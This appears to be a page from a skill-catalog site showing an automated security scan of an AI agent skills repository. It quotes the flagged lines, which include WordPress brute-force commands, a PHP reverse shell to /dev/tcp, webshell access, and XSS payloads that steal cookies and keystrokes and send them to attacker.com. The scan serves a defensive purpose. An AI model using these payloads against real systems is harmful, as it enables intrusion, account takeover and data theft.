> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/three-best-practices/rules/physics-integration.md
skills/three-best-practices/rules/postprocessing-optimization.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/three-best-practices/rules/raycasting-optimization.md
skills/three-best-practices/rules/render-delta-time.md
- Network accessline 78
- [Three.js Clock](https://threejs.org/docs/#api/en/core/Clock)
skills/three-best-practices/rules/setup-use-import-maps.md
- Network accessline 16
<!-- WRONG - Outdated pattern (DO NOT USE) --> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js"></script> - Network accessline 17
<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js"></script> - Network accessline 29
{ "imports": { "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js", - Network accessline 30
"imports": { "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js", "three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/" - Network accessline 31
"three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js", - Network accessline 32
"three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/" - Network accessline 48
{ "imports": { "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.webgpu.js", - Network accessline 49
"imports": { "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.webgpu.js", "three/tsl": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.tsl.js", - Network accessline 50
"three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.webgpu.js", - Network accessline 51
"three/tsl": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.tsl.js", - Network accessline 52
"three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/" - Network accessline 60
- [Three.js Installation Guide](https://threejs.org/manual/#en/installation) - Network accessline 61
- [MDN Import Maps](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap)
skills/three-best-practices/rules/shader-mobile.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/three-best-practices/rules/tsl-complete-reference.md
- Network accessline 273
- [Three.js Wiki - TSL](https://github.com/mrdoob/three.js/wiki/Three.js-Shading-Language) - Network accessline 274
- [Maxime Heckel's Field Guide to TSL](https://blog.maximeheckel.com/posts/field-guide-to-tsl-and-webgpu/) - Network accessline 275
- [sbcode.net TSL Tutorials](https://sbcode.net/tsl/getting-started/)
skills/three-best-practices/rules/tsl-compute-shaders.md
skills/three-best-practices/rules/tsl-post-processing.md
skills/three-best-practices/rules/tsl-why-use.md
skills/three-best-practices/rules/webgpu-renderer.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/three-best-practices/rules/webxr-setup.md
skills/timeline-builder/scripts/generate_timeline.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/top-web-vulnerabilities/SKILL.md
- Access to secretsline 422
[Credential-related source omitted]
skills/typescript-pro/SKILL.md
skills/typescript-pro/references/configuration.md
- Access to secretsline 332
[Credential-related source omitted]
skills/typescript-pro/references/patterns.md
- Network accessline 347
async function fetchUser(id: string): Promise<Result<User, string>> { try { const response = await fetch(`/api/users/${id}`) - Network accessline 348
try { const response = await fetch(`/api/users/${id}`) if (!response.ok) { - Network accessline 349
const response = await fetch(`/api/users/${id}`) - Access to secretsline 441
[Credential-related source omitted]
skills/wordpress-penetration-testing/SKILL.md
- Network accessline 20
- Burp Suite or OWASP ZAP - Nmap for initial discovery - cURL or wget - Network accessline 22
- cURL or wget - Network accessline 44
# Check for WordPress indicators curl -s http://target.com | grep -i wordpress - Network accessline 45
curl -s http://target.com | grep -i wordpress - Network accessline 46
curl -s http://target.com | grep -i "wp-content" - Network accessline 47
curl -s http://target.com | grep -i "wp-includes" - Network accessline 49
# Check common WordPress paths curl -I http://target.com/wp-login.php - Network accessline 50
curl -I http://target.com/wp-login.php - Network accessline 51
curl -I http://target.com/wp-admin/ - Network accessline 52
curl -I http://target.com/wp-content/ - Network accessline 53
curl -I http://target.com/xmlrpc.php - Network accessline 55
# Check meta generator tag curl -s http://target.com | grep "generator" - Network accessline 56
curl -s http://target.com | grep "generator" - Network accessline 76
# Basic scan wpscan --url http://target.com/wordpress/ - Network accessline 77
wpscan --url http://target.com/wordpress/ - Network accessline 79
# With API token (for vulnerability data) wpscan --url http://target.com --api-token YOUR_API_TOKEN - Network accessline 80
wpscan --url http://target.com --api-token YOUR_API_TOKEN - Network accessline 82
# Aggressive detection mode wpscan --url http://target.com --detection-mode aggressive - Network accessline 83
wpscan --url http://target.com --detection-mode aggressive - Network accessline 85
# Output to file wpscan --url http://target.com -o results.txt - Network accessline 86
wpscan --url http://target.com -o results.txt - Network accessline 88
# JSON output wpscan --url http://target.com -f json -o results.json - Network accessline 89
wpscan --url http://target.com -f json -o results.json - Network accessline 91
# Verbose output wpscan --url http://target.com -v - Network accessline 92
wpscan --url http://target.com -v - Network accessline 100
# WPScan version detection wpscan --url http://target.com - Network accessline 101
wpscan --url http://target.com - Network accessline 103
# Manual version checks curl -s http://target.com/readme.html | grep -i version - Network accessline 104
curl -s http://target.com/readme.html | grep -i version - Network accessline 105
curl -s http://target.com/feed/ | grep -i generator - Network accessline 106
curl -s http://target.com | grep "?ver=" - Network accessline 108
# Check meta generator curl -s http://target.com | grep 'name="generator"' - Network accessline 109
curl -s http://target.com | grep 'name="generator"' - Network accessline 111
# Check RSS feeds curl -s http://target.com/feed/ - Network accessline 112
curl -s http://target.com/feed/ - Network accessline 113
curl -s http://target.com/comments/feed/ - Network accessline 127
# Enumerate all themes wpscan --url http://target.com -e at - Network accessline 128
wpscan --url http://target.com -e at - Network accessline 130
# Enumerate vulnerable themes only wpscan --url http://target.com -e vt - Network accessline 131
wpscan --url http://target.com -e vt - Network accessline 133
# Theme enumeration with detection mode wpscan --url http://target.com -e at --plugins-detection aggressive - Network accessline 134
wpscan --url http://target.com -e at --plugins-detection aggressive - Network accessline 136
# Manual theme detection curl -s http://target.com | grep "wp-content/themes/" - Network accessline 137
curl -s http://target.com | grep "wp-content/themes/" - Network accessline 138
curl -s http://target.com/wp-content/themes/ - Network accessline 146
# Check theme version curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version - Network accessline 147
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version - Network accessline 148
curl -s http://target.com/wp-content/themes/<theme>/readme.txt - Network accessline 156
# Enumerate all plugins wpscan --url http://target.com -e ap - Network accessline 157
wpscan --url http://target.com -e ap - Network accessline 159
# Enumerate vulnerable plugins only wpscan --url http://target.com -e vp - Network accessline 160
wpscan --url http://target.com -e vp - Network accessline 162
# Aggressive plugin detection wpscan --url http://target.com -e ap --plugins-detection aggressive - Network accessline 163
wpscan --url http://target.com -e ap --plugins-detection aggressive - Network accessline 165
# Mixed detection mode wpscan --url http://target.com -e ap --plugins-detection mixed - Network accessline 166
wpscan --url http://target.com -e ap --plugins-detection mixed - Network accessline 168
# Manual plugin discovery curl -s http://target.com | grep "wp-content/plugins/" - Network accessline 169
curl -s http://target.com | grep "wp-content/plugins/" - Network accessline 170
curl -s http://target.com/wp-content/plugins/ - Network accessline 181
# Check plugin version curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt - Network accessline 182
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt - Network accessline 190
# WPScan user enumeration wpscan --url http://target.com -e u - Network accessline 191
wpscan --url http://target.com -e u - Network accessline 193
# Enumerate specific number of users wpscan --url http://target.com -e u1-100 - Network accessline 194
wpscan --url http://target.com -e u1-100 - Network accessline 196
# Author ID enumeration (manual) for i in {1..20}; do curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' - Network accessline 197
for i in {1..20}; do curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' done - Network accessline 198
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' - Network accessline 201
# JSON API user enumeration (if enabled) curl -s http://target.com/wp-json/wp/v2/users - Network accessline 202
curl -s http://target.com/wp-json/wp/v2/users - Network accessline 204
# REST API user enumeration curl -s http://target.com/wp-json/wp/v2/users?per_page=100 - Network accessline 205
curl -s http://target.com/wp-json/wp/v2/users?per_page=100 - Network accessline 207
# Login error enumeration curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php - Network accessline 208
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php - Network accessline 216
# Enumerate everything wpscan --url http://target.com -e at -e ap -e u - Network accessline 217
wpscan --url http://target.com -e at -e ap -e u - Network accessline 219
# Alternative comprehensive scan wpscan --url http://target.com -e vp,vt,u,cb,dbe - Network accessline 220
wpscan --url http://target.com -e vp,vt,u,cb,dbe - Network accessline 231
# Full aggressive enumeration wpscan --url http://target.com -e at,ap,u,cb,dbe \ - Network accessline 232
wpscan --url http://target.com -e at,ap,u,cb,dbe \ - Network accessline 242
# Single user brute-force wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt - Network accessline 243
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt - Network accessline 245
# Multiple users from file wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt - Network accessline 246
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt - Network accessline 248
# With password attack threads wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50 - Network accessline 249
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50 - Network accessline 251
# XML-RPC brute-force (faster, may bypass protection) wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc - Network accessline 252
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc - Network accessline 254
# Brute-force with API limiting wpscan --url http://target.com -U admin -P passwords.txt --throttle 500 - Network accessline 255
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500 - Network accessline 257
# Create targeted wordlist cewl http://target.com -w wordlist.txt - Network accessline 258
cewl http://target.com -w wordlist.txt - Network accessline 259
wpscan --url http://target.com -U admin -P wordlist.txt - Network accessline 312
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); - Dangerous shell operationline 313
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); - Network accessline 313
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); - Network accessline 316
// Or use weevely backdoor // Access via: http://target.com/wp-content/themes/theme_name/404.php - Network accessline 317
// Access via: http://target.com/wp-content/themes/theme_name/404.php - Network accessline 340
# Access webshell curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id" - Network accessline 341
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id" - Network accessline 349
# Check if XML-RPC is enabled curl -X POST http://target.com/xmlrpc.php - Network accessline 350
curl -X POST http://target.com/xmlrpc.php - Network accessline 352
# List available methods curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php - Network accessline 353
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php - Network accessline 381
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php - Network accessline 387
# Use Tor proxy wpscan --url http://target.com --proxy socks5://127.0.0.1:9050 - Network accessline 388
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050 - Network accessline 390
# HTTP proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 - Network accessline 391
wpscan --url http://target.com --proxy http://127.0.0.1:8080 - Network accessline 393
# Burp Suite proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks - Network accessline 394
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks - Network accessline 400
# Basic authentication wpscan --url http://target.com --http-auth admin:password - Network accessline 401
wpscan --url http://target.com --http-auth admin:password - Network accessline 403
# Force SSL/TLS wpscan --url https://target.com --disable-tls-checks - Network accessline 404
wpscan --url https://target.com --disable-tls-checks - Network accessline 434
| Purpose | Command | |---------|---------| | Basic scan | `wpscan --url http://target.com` | - Network accessline 435
|---------|---------| | Basic scan | `wpscan --url http://target.com` | | All enumeration | `wpscan --url http://target.com -e at,ap,u` | - Network accessline 436
| Basic scan | `wpscan --url http://target.com` | - Network accessline 437
| All enumeration | `wpscan --url http://target.com -e at,ap,u` | - Network accessline 438
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` | - Network accessline 439
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
skills/xss-html-injection/SKILL.md
- Network accessline 120
<!-- Cookie stealing payload --> <script> document.location='http://attacker.com/steal?c='+document.cookie - Network accessline 121
<script> document.location='http://attacker.com/steal?c='+document.cookie </script> - Network accessline 122
document.location='http://attacker.com/steal?c='+document.cookie - Network accessline 126
<script> document.onkeypress=function(e){ new Image().src='http://attacker.com/log?k='+e.key; - Network accessline 127
document.onkeypress=function(e){ new Image().src='http://attacker.com/log?k='+e.key; } - Network accessline 128
new Image().src='http://attacker.com/log?k='+e.key; - Network accessline 132
<!-- Session hijacking --> <script> fetch('http://attacker.com/capture',{ - Network accessline 133
<script> fetch('http://attacker.com/capture',{ method:'POST', - Network accessline 134
fetch('http://attacker.com/capture',{ - Network accessline 141
<div id="login"> <h2>Session Expired - Please Login</h2> <form action="http://attacker.com/phish" method="POST"> - Network accessline 142
<h2>Session Expired - Please Login</h2> <form action="http://attacker.com/phish" method="POST"> Username: <input name="user"><br> - Network accessline 143
<form action="http://attacker.com/phish" method="POST"> - Network accessline 157
# Basic reflected payload https://target.com/search?q=<script>alert(document.domain)</script> - Network accessline 158
https://target.com/search?q=<script>alert(document.domain)</script> - Network accessline 160
# URL-encoded payload https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E - Network accessline 161
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E - Network accessline 163
# Event handler in parameter https://target.com/page?name="><img src=x onerror=alert(1)> - Network accessline 164
https://target.com/page?name="><img src=x onerror=alert(1)> - Network accessline 166
# Fragment-based (for DOM XSS) https://target.com/page#<script>alert(1)</script> - Network accessline 167
https://target.com/page#<script>alert(1)</script> - Dangerous shell operationline 193
eval() - Network accessline 220
// Hash-based injection https://target.com/page#<img src=x onerror=alert(1)> - Network accessline 221
https://target.com/page#<img src=x onerror=alert(1)> - Network accessline 223
// URL parameter injection (processed client-side) https://target.com/page?default=<script>alert(1)</script> - Network accessline 224
https://target.com/page?default=<script>alert(1)</script> - Network accessline 226
// PostMessage exploitation // On attacker page: <iframe src="https://target.com/vulnerable"></iframe> - Network accessline 227
// On attacker page: <iframe src="https://target.com/vulnerable"></iframe> <script> - Network accessline 228
<iframe src="https://target.com/vulnerable"></iframe> - Network accessline 243
<!-- Form hijacking --> <form action="http://attacker.com/capture"> - Network accessline 244
<form action="http://attacker.com/capture"> - Network accessline 249
<!-- CSS injection for data exfiltration --> <style> input[value^="a"]{background:url(http://attacker.com/a)} - Network accessline 250
<style> input[value^="a"]{background:url(http://attacker.com/a)} input[value^="b"]{background:url(http://attacker.com/b)} - Network accessline 251
input[value^="a"]{background:url(http://attacker.com/a)} - Network accessline 252
input[value^="b"]{background:url(http://attacker.com/b)} - Network accessline 255
<!-- iframe injection --> <iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe> - Network accessline 256
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe> - Dangerous shell operationline 317
<script>eval('al'+'ert(1)')</script> - Dangerous shell operationline 326
<script>eval(atob('YWxlcnQoMSk='))</script> - Possible obfuscationline 326
<script>eval(atob('YWxlcnQoMSk='))</script> - Network accessline 372
<script> new Image().src='http://attacker.com/c='+btoa(document.cookie); - Network accessline 373
new Image().src='http://attacker.com/c='+btoa(document.cookie); - Network accessline 379
<script> fetch('https://attacker.com/log',{ - Network accessline 380
fetch('https://attacker.com/log',{ - Network accessline 430
<script> var i = new Image(); i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); - Network accessline 431
var i = new Image(); i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> - Network accessline 432
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); - Network accessline 444
https://shop.example.com/search?q=test - Network accessline 449
https://shop.example.com/search?q=<script>alert(document.domain)</script> - Network accessline 454
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E - Network accessline 470
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)> - Network accessline 481
Content-Security-Policy: script-src 'self' https://cdn.trusted.com - Network accessline 486
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Combined signals: 4 facts
- Passes content downloaded from sdk.cloud.google.com to an interpretercloud-penetration-testing/SKILL.md:29High confidence
- Reads SSH keys, and the same file sends data over the network or runs a command (line 301)ethical-hacking-methodology/SKILL.md:282High confidence
- Reads SSH keys, and the same file sends data over the network or runs a command (line 288)file-path-traversal/SKILL.md:214High confidence
- Passes content downloaded from github.com to an interpreterlinux-privilege-escalation/SKILL.md:144High confidence
Declared and executed: 1 fact
- Contacts www.w3.org, which SKILL.md, the README and the plugin manifest do not mentiondata-viz-renderer/scripts/build_infographic.py:135High confidence
Signal confidence: 495 facts
- Dangerous shell operation in code of the SKILL.mdactive-directory-attacks/SKILL.md:57High confidence
- Network access in code of the SKILL.mdactive-directory-attacks/SKILL.md:263High confidence
- Network access in code of documentationactive-directory-attacks/references/advanced-attacks.md:232Low confidence
- Network access in code of documentationactive-directory-attacks/references/advanced-attacks.md:233Low confidence
- Network access in code of documentationactive-directory-attacks/references/advanced-attacks.md:295Low confidence
- Network access in code of documentationactive-directory-attacks/references/advanced-attacks.md:296Low confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:57High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:58High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:145High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:146High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:152High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:153High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:154High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:155High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:156High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:249High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:250High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:252High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:253High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:298High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:299High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:301High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:302High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:304High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:305High confidence
- Network access in code of the SKILL.mdapi-fuzzing-bug-bounty/SKILL.md:418High confidence
- Access to secrets in code of documentationaudit-flow/EXAMPLES.md:114Low confidence
- Dangerous shell operation in prose of documentationaudit-flow/EXAMPLES.md:332Low confidence
- Dangerous shell operation in prose of the SKILL.mdaudit-flow/SKILL.md:37Low confidence
- Executable script in code of a file that runsaudit-flow/scripts/audit.py:1High confidence
- Executable script in code of a file that runsaudit-flow/setup.sh:1High confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueauthentication-patterns/SKILL.md:96Low confidence
- Network access in prose of the SKILL.mdaws-penetration-testing/SKILL.md:35Low confidence
- Network access in prose of the SKILL.mdaws-penetration-testing/SKILL.md:36Low confidence
- Network access in prose of the SKILL.mdaws-penetration-testing/SKILL.md:37Low confidence
- Network access in prose of the SKILL.mdaws-penetration-testing/SKILL.md:39Low confidence
- Network access in prose of the SKILL.mdaws-penetration-testing/SKILL.md:40Low confidence
- Network access in prose of the SKILL.mdaws-penetration-testing/SKILL.md:41Low confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:95High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:96High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:98High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:99High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:101High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:102High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:116High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:117High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:118High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:120High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:121High confidence
- Network access in code of the SKILL.mdaws-penetration-testing/SKILL.md:122High confidence
and 445 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md skills/academic-paper-reviewer/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Native | Manifest skills/composition-patterns/AGENTS.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md skills/academic-paper-reviewer/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md skills/academic-paper-reviewer/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md skills/academic-paper-reviewer/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md skills/academic-paper-reviewer/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.
Explore alternatives and comparisons
Add this badge to your README
It updates every night and links to this page.
[](https://hotskills.dev/skill/zebbern-claude-code-guide/)